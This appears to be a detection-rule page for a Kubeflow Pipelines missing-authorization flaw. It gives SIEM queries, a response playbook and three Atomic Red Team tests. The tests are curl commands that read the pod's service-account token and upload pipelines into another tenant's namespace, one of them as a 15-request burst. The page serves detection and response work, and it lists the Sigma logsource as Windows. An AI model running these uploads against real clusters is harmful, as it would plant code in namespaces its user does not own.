Skip to content
CVE-2026-77596

Kubeflow Pipelines Unauthorized Shared Pipeline Upload (CVE-2026-77596)

Initial Access Privilege Escalation Last updated:

Detects exploitation of CVE-2026-77596, a missing authorization flaw (CWE-862/CWE-639) in the Kubeflow Pipelines API server where the shared pipeline upload endpoint fails to enforce authorization, allowing an authenticated but unauthorized user to upload or overwrite pipelines in namespaces/experiments they do not own. Detection focuses on API requests to the pipeline upload endpoints (/apis/v1beta1/pipelines/upload, /apis/v2beta1/pipelines) where the acting subject does not match the owning namespace, cross-namespace pipeline mutations, and anomalous upload volume against the ml-pipeline service.

Vulnerability Intelligence

Public PoC

What is CVE-2026-77596 Kubeflow Pipelines Unauthorized Shared Pipeline Upload (CVE-2026-77596)?

Kubeflow Pipelines Unauthorized Shared Pipeline Upload (CVE-2026-77596) (CVE-2026-77596) maps to the Initial Access and Privilege Escalation tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Kubeflow Pipelines Unauthorized Shared Pipeline Upload (CVE-2026-77596), covering the data sources and telemetry it touches: Kubernetes container logs, ml-pipeline API server logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation
Microsoft Sentinel / Defender
kusto
// df00tech DF00-c4cedef12f · https://df00tech.com/detections/CVE-2026-77596 · licence: https://df00tech.com/detections/licence
let uploadPaths = dynamic(["/apis/v1beta1/pipelines/upload", "/apis/v2beta1/pipelines/upload", "/apis/v2beta1/pipelines", "/apis/v1beta1/pipelines"]);
ContainerLog
| where LogEntry has "ml-pipeline" or LogEntry has "apiserver"
| extend parsed = parse_json(LogEntry)
| extend reqPath = tostring(parsed.path), verb = tostring(parsed.verb), subject = tostring(parsed.user), reqNamespace = tostring(parsed.namespace), code = toint(parsed.response_code)
| where verb in~ ("POST", "PUT")
| where reqPath has_any (uploadPaths)
| where code between (200 .. 299)
| extend subjectNs = extract(@"system:serviceaccount:([^:]+):", 1, subject)
| where isnotempty(reqNamespace) and isnotempty(subjectNs) and reqNamespace != subjectNs
| project TimeGenerated, subject, subjectNs, reqNamespace, verb, reqPath, code, Computer
| order by TimeGenerated desc

Finds successful POST/PUT requests to Kubeflow Pipelines upload endpoints where the acting service account's namespace differs from the target pipeline namespace, indicating a cross-namespace (unauthorized) upload consistent with CVE-2026-77596.

critical severity medium confidence

Data Sources

Kubernetes container logs ml-pipeline API server logs

Required Tables

ContainerLog

False Positives

  • Legitimate platform administrators or CI/CD service accounts that upload pipelines across namespaces by design
  • Shared/system service accounts (e.g. kubeflow bootstrap jobs) that seed pipelines into user namespaces
  • Multi-tenant automation that intentionally publishes golden pipelines to multiple namespaces

Query fingerprint DF00-c4cedef12f · licence

Sigma logsource & community rules

The detection logic for Kubeflow Pipelines Unauthorized Shared Pipeline Upload (CVE-2026-77596) (CVE-2026-77596) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Cross-namespace pipeline upload via v1beta1 endpoint

    Expected signal: ml-pipeline API log entry with verb=POST, path=/apis/v1beta1/pipelines/upload, namespace=victim-ns and a subject service account from a different namespace, response 200.

  2. Test 2 Cross-namespace pipeline upload via v2beta1 endpoint

    Expected signal: ml-pipeline API log entry for POST /apis/v2beta1/pipelines/upload targeting victim-ns from a foreign service account, response 200.

  3. Test 3 High-volume pipeline upload burst

    Expected signal: 15 POST upload requests from a single subject within a short window in the ml-pipeline API logs.


Response Playbook

Triage

  1. Identify the acting subject (service account or user) from the flagged upload request and confirm whether that identity is authorized to write pipelines in the target namespace/experiment.
  2. Compare the target pipeline namespace against the subject's own namespace; a mismatch with a 2xx response strongly indicates the authorization bypass.
  3. Check the Kubeflow Pipelines version in the cluster against the fix (commit 62516d8c525f / release 2.18.0) to confirm the cluster is vulnerable.
  4. Review the uploaded pipeline spec for malicious container images, embedded credentials, or commands that would run with the victim namespace's service account.

Containment

  1. Scale down or network-restrict the ml-pipeline API server (ml-pipeline Deployment) until it can be patched, or apply the fixed image (>= 2.18.0).
  2. Revoke or rotate the credentials/tokens of the offending subject and any service account tied to the affected namespaces.
  3. Quarantine or delete unauthorized pipelines and halt any pipeline runs they triggered.

Evidence Collection

  1. Export the ml-pipeline API server and Kubernetes audit logs covering the upload requests, including subject, namespace, path, verb and response code.
  2. Capture the uploaded pipeline YAML/spec and any associated pipeline versions and run manifests for forensic analysis.
  3. Snapshot the ml-pipeline MySQL/metadata store rows for the affected pipelines to preserve ownership and timestamps.

Escalation Criteria

  • ! Escalate to incident response if an unauthorized pipeline executed and launched workloads using another tenant's service account.
  • ! Escalate if the uploaded pipeline references external/untrusted container images or attempts credential or data access beyond the attacker's namespace.

Investigation Guide

Forensic Artifacts

  • > ml-pipeline API server access logs with request path, verb, subject and target namespace
  • > Kubeflow Pipelines metadata store rows (pipeline, pipeline_versions) showing owner namespace and creation timestamps
  • > Uploaded pipeline spec YAML and resulting Argo Workflow / run manifests

Tuning Guidance

Build an allowlist of service accounts and users that are legitimately permitted to upload pipelines across namespaces (platform admins, CI/CD, bootstrap jobs) and exclude them from the cross-namespace comparison. If your cluster is single-tenant or namespace labels are not populated in logs, rely on the upload-volume hunting query and version check instead of the namespace-mismatch logic to reduce false positives.


Hunting Queries

Surfaces subjects performing an anomalously high volume of pipeline uploads, which may indicate automated abuse of the unauthorized upload endpoint.

Hunting — KQL
kql
// df00tech DF00-c4cedef12f · https://df00tech.com/detections/CVE-2026-77596 · licence: https://df00tech.com/detections/licence
ContainerLog | where LogEntry has "ml-pipeline" | extend p=parse_json(LogEntry) | where tostring(p.path) has "/pipelines/upload" | summarize count() by subject=tostring(p.user), ns=tostring(p.namespace), bin(TimeGenerated, 1h) | where count_ > 10
Hunting — SPL
spl
``` df00tech DF00-c4cedef12f · https://df00tech.com/detections/CVE-2026-77596 · licence: https://df00tech.com/detections/licence ```
index=kubernetes sourcetype="kube:container:ml-pipeline" "/pipelines/upload" | stats count by user, namespace | where count > 10

Atomic Red Team Tests

Test 1 Cross-namespace pipeline upload via v1beta1 endpoint
linux

Simulate an unauthorized user uploading a pipeline to a namespace they do not own using the legacy upload endpoint.

Command

bash
curl -sk -X POST "https://ml-pipeline.kubeflow.svc:8888/apis/v1beta1/pipelines/upload?name=atomic-test&namespace=victim-ns" -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -F "uploadfile=@/tmp/atomic-pipeline.yaml"

Cleanup

bash
curl -sk -X DELETE "https://ml-pipeline.kubeflow.svc:8888/apis/v1beta1/pipelines?filter=atomic-test" -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"

Expected Telemetry

ml-pipeline API log entry with verb=POST, path=/apis/v1beta1/pipelines/upload, namespace=victim-ns and a subject service account from a different namespace, response 200.

Expected Detection

KQL/SPL cross-namespace upload rule fires on the namespace mismatch with a 2xx response.

Test 2 Cross-namespace pipeline upload via v2beta1 endpoint
linux

Simulate the same unauthorized upload using the v2beta1 pipelines API.

Command

bash
curl -sk -X POST "https://ml-pipeline.kubeflow.svc:8888/apis/v2beta1/pipelines/upload?name=atomic-test-v2&namespace=victim-ns" -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -F "uploadfile=@/tmp/atomic-pipeline.yaml"

Cleanup

bash
curl -sk -X DELETE "https://ml-pipeline.kubeflow.svc:8888/apis/v2beta1/pipelines?filter=atomic-test-v2" -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"

Expected Telemetry

ml-pipeline API log entry for POST /apis/v2beta1/pipelines/upload targeting victim-ns from a foreign service account, response 200.

Expected Detection

Detection matches the v2beta1 upload path with namespace mismatch.

Test 3 High-volume pipeline upload burst
linux

Simulate automated abuse by uploading many pipelines rapidly to trigger the volume-based hunting query.

Command

bash
for i in $(seq 1 15); do curl -sk -X POST "https://ml-pipeline.kubeflow.svc:8888/apis/v2beta1/pipelines/upload?name=atomic-burst-$i&namespace=victim-ns" -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -F "uploadfile=@/tmp/atomic-pipeline.yaml"; done

Cleanup

bash
for i in $(seq 1 15); do curl -sk -X DELETE "https://ml-pipeline.kubeflow.svc:8888/apis/v2beta1/pipelines?filter=atomic-burst-$i" -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"; done

Expected Telemetry

15 POST upload requests from a single subject within a short window in the ml-pipeline API logs.

Expected Detection

Upload-volume hunting query flags the subject exceeding the per-hour upload threshold.

Related Detections

Blog posts about this detection

Browse by tactic

Full ATT&CK matrix Search all detections